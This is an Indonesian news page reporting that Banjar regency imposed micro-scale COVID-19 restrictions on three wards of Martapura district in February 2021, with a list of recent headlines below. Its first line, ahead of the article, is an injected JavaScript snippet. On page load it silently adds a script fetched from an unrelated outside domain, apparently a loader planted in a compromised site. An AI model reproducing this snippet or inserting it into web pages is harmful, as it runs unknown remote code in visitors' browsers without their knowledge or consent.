(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Kabupaten Banjar

PPKM Mikro Berlaku di Tiga Kelurahan Wilayah Kecamatan Martapura


KANALKALIMANTAN.COM, MARTAPURA – Pemerintah Kabupaten (Pemkab) Banjar melaksanakan Pemberlakuan Pembatasan Kegiatan Masyarakat (PPKM) berbasis mikro mulai 9 hingga 22 Februari 2021.

PPKM berbasis mikro akan dilaksanakan pada kecamatan yang dijadikan contoh yakni Kecamatan Martapura.

Rakor dipimpin Wakapolres Banjar Kompol Muhammad Fihim, Sekda Banjar HM Hilman, Sekretaris BPBD Banjar Azhar Alamsyah, perwakilan Kodim 1006 Martapura, Dinas Sosial, Dinas Kesehatan, serta Satpol PP Banjar.

Wakapolres Banjar Muhammad Fihim menjelaskan, PPKM berbasis mikro adalah pelaksanaan PPKM yang ada di level kecamatan dan kelurahan sesuai arahan Presiden. Untuk anggaran dana dibebankan kepada pihak terkait, semisal desa anggaran dibebankan pada dana desa. Untuk Nakes anggaran dibebankan pada Dinkes, kemudian Babinsa dan Babinkabtibmas anggaran dibebankan pada TNI dan Polri.

”Rakor ini juga guna lebih memantapkan detail pelaksanaan PPKM berbasis mikro di Kabupaten Banjar, diharapkan kerjasama semua pihak dalam hal ini terutama yang berada di kecamatan dan kelurahan,” ujar Wakpolres Banjar, Selasa (9/2/2021).

Setelah Rakor, Sekda Banjar menjelaskan jika PPKM berbasis mikro dari semula PPKM untuk 10 kecamatan diperkecil, diambil keputusan Kecamatan Martapura menjadi wilayah pelaksanaan PPKM berbasis mikro.

“Kecamatan Martapura menjadi model, dan contoh daerah lain, serta pada daerah pelaksanaan PPKM berbasis mkro ini, diharapkan nantinya menghasilkan penurunan angka Covid-19,” jelas Hilman.

Hilman menambahkan akan dilaksanakan operasi yustisi secara rutin bersama tim. Juga akan disiapkan Swab antigen bagi masyarakat atau pengusaha cafe yang kedapatan berkumpul dan beroperasi melebihi pukul 22.00 Wita.

“Pelaksanaan PPKM berbasis mikro Kecamatan Martapura diterepkan di Kelurahan Sekumpul, Kelurahan Sungai Paring dan Kelurahan Sungai Sipai. Tiga lokasi ini ditetapkan dengan pertimbangan karena angka terkonfirmasi positif Covid-19 cukup tinggi,” pungkasnya. (kanalkalimantan.com/wahyu)

 

Reporter : Wahyu
Editor : Bie

 

 

 

 


Al Ghifari

Recent Posts

Mantan Kajari HSU Ajukan Praperadilan, KPK Siap Ladeni Gugatan

KANALKALIMANTAN.COM, JAKARTA - Komisi Pemberantasan Korupsi (KPK) menyatakan siap menghadapi gugatan praperadilan yang diajukan mantan… Read More

19 menit ago

Hari Gizi Nasional 2026 “Sehat Dimulai dari Piringku”

KANALKALIMANTAN.COM - Hari Gizi Nasional yang diperingati setiap tanggal 25 Januari merupakan momentum penting dalam… Read More

4 jam ago

Wali Kota Yamin akan Tindak Pemilik Ruko yang Tidak Merawat Drainase

KANALKALIMANTAN.COM, BANJARMASIN — Wali Kota Banjarmasin H Muhammad Yamin HR menegaskan akan menindak pemilik Ruko… Read More

18 jam ago

Ketua DPRD Kalsel Sampaikan Tuntutan Mahasiswa ke Senayan

KANALKALIMANTAN.COM, JAKARTA — Ketua DPRD Kalimantan Selatan (Kalsel), H Supian HK menyampaikan tuntutan mahasiswa dari… Read More

19 jam ago

275 ASN Pemko Banjarmasin Pensiun di 2025

KANALKALIMANTAN.COM, BANJARMASIN — Sebanyak 275 Aparatur Sipil Negara (ASN) di lingkungan Pemerintah Kota (Pemko) Banjarmasin… Read More

20 jam ago

Pembebasan Lahan Bendungan Riam Kiwa Mendesak Atasi Banjir Tahunan

KANALKALIMANTAN.COM, BANJARMASIN - Balai Wilayah Sungai (BWS) Kalimantan III menyatakan kesiapan mempercepat pembangunan Bendungan Riam… Read More

24 jam ago

This website uses cookies.